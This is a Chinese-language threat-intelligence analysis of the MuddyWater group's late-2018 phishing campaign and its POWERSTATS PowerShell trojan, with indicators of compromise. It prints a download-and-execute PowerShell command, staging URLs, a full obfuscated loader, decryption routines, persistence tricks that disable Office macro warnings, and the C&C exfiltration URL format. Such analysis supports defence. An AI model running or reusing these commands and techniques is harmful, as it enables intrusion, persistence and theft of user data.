APT组织“MuddyWater(污水)”最新动向分析

发布时间 2018-12-01

“MuddyWater(污水)”是一个来自于伊朗的主要针对中东地区攻击的APT组织。该组织主要利用Powershell执行所有恶意操作,并在一系列行动中衍生出了他们的专有木马“POWERSTATS”。该组织的攻击目标主要集中于政府,通信与石油这些领域。


在对日常样本的跟踪中,我们发现了一些新的“MuddyWater”的特种木马“POWERSTATS”,并基本确定这些样本为MuddyWater组织最新攻击活动的产物。


载荷分析


最新攻击仍通过邮件途径采用恶意文档的方式并配合社会工程学进行投放。
 



相关文档均嵌入了模糊图片以引诱受害者点击启用恶意宏代码,文档中包含的恶意宏代码基本相似,都使用同一种算法进行数据解密。Pyhton解密代码如下:
“”.join([chr(int(data[_:_+3]) - KEY) for _ in range(0,len(data),3)])


数据解密之后主要执行如下powershell代码:
powershell -exec bypass -c ""IEX((New-Object Net.WebClient).DownloadString(\'URL'))


相关文档的下载的链接分别如下:
http://pazazta.com/app/icon[.]png
http://3cbc.net/dropbox/icon[.]icon
http://ohe.ie/cli/icon[.]png
http://ohe.ie/cp/icon[.]png


下载的文件均为powershell代码,通过使用powershell执行这些下载的攻击载荷来执行如下恶意操作:


(1)将js变量中的代码使用Base64编码解码,并写入到C:\Windows\Temp\temp.jpg文件中。


(2)将vbs变量中代码使用Base64编码解码并用二进制形式写入到C:\Windows\temp\Windows.vbe文件中,或者将vbs变量中的数据直接以二进制形式写入到C:\Windows\temp\Windows.vbe文件中。


(3)将code变量的数据直接写入到C:\ProgramData\Microsoft.db文件中。


(4)启动C:\Windows\temp\Windows.vbe。


在释放的文件中,Windows.vbe会调用cscript.exe来执行C:\\Windows\\Temp\\temp.jpg中的Javascript代码,该代码经过混淆,解开混淆之后我们发现该代码主要执行如下的powershell代码:
powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));


该段Powershell代码用于解密Microsoft.db中的文件,并执行解密后的代码,解密后的powershell会再次解密一段数据,该数据先使用Base64解码,然后再对数据使用解压算法进行解压,得到一段经过大量混淆的powershell代码,混淆方法基本依靠字符换替换,倒序等方式,解开混淆后为该组织专有特种木马“POWERSTATS”。


POWERSTATS木马分析


POWERSTATS木马首先会设置一系列注册表项目,来禁用Office宏警告和保护视图。这是为了确保未来的攻击不需要用户交互。甚至还允许宏代码访问内部VBA对象,以便在将来的攻击中执行更隐蔽的宏代码,同时将
“C:\windows\system32\wscript.exeC:\Windows\temp\Windows.vbe”写入到开机自启项Microsoft Edge中,然后设置了一个名为Microsoft Edge的定时任务来定时调用wscript.exe执行Windows.vbe,以便保证该恶意程序在系统中的驻留与定时运行。


之后POWERSTATS将执行接下来的一系列恶意行为,首先POWERSTATS木马会从自己设置的三个加密的数据中随机抽选一个进行解密,解密出来为需要进行交互的C&C服务器地址,解密算法如下(Python):
"".join([chr(ord(a[_%len(KEY)])^ord(DecryptByBase64(Data)[_])) for _ in xrange(len(DecryptByBase64(Data)))])


解密后的C&C如下



   接着,会获取一系列用户数据,使用”**”拼接到一起使用UTF-8编码,然后再计算出MD5值,作为此次的获取到的数据的唯一标识,最终构造如下URL:
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=info&id=global_key
然后将之前获取到的用户数据进行上传,上传的数据经过加密,加密算法的如下:
 

该算法对每个字符进行加密,这种方式的加密字符基本不存在可逆的情况,但是单个字符串使用算法得到的加密字符其实是相同的,我认为服务器存在一张字节替换表来替换每个加密后的数据,在第一次将数据上传之后,如果服务器返回“OK”表示正确接收数据,然后再生成20个随机字符,经过MD5加密之后,以如下的URL格式发送POST请求,发送的数据为随机生成的20个字符,来表明可以进行下一步操作。


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=live&id=global_key
如果服务器返回OK则表示可以进行接下来的操作,然后恶意程序会向服务器进行如下的GET请求


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=g&type=cmd&id=global_key。


如果服务器正确响应,其返回的数据格式如下:[ID]"~~!!~~"[Operand][Data]


其中不同的操作码会有不同的功能,对应如下:



执行完对应的功能之后,将返回值进行Base64进行编码然后以如下的格式将数据上传
[ID]:[Result]


与之前攻击的关联


在与今年10月披露的MuddyWater的攻击样本对比后我们发现,最后执行真正恶意行为的Posershell代码与本次的代码基本一致,包括其解密URL的算法与key,Javascript中解密Powershell代码的算法,与C&C交互的指令功能等。我们形成如下对照表。
 



可以发现该组织在本次攻击中主要改善了一些最终powershell代码的调用过程,让更多的攻击载荷迁移到C&C服务器中,这样使后续的操作变得更加灵活和持久。


相关IOC:
5935522717aee842433a5de9d228a715
ca9230a54f40a6a0fe52d7379459189c
0cf25597343240f88358c694d7ae7e0a
a256abb5da891f109acf8a496d9792c4
hxxp://pazazta.com/app/icon[.]png
hxxp://3cbc.net/dropbox/icon[.]icon
hxxp://ohe.ie/cli/icon[.]png
hxxp://ohe.ie/cp/icon[.]png
C:\\ProgramData\\Microsoft.db
C:\\ProgramData\\Microsoft.vbe
C:\\Windows\\Temp\\temp.jpg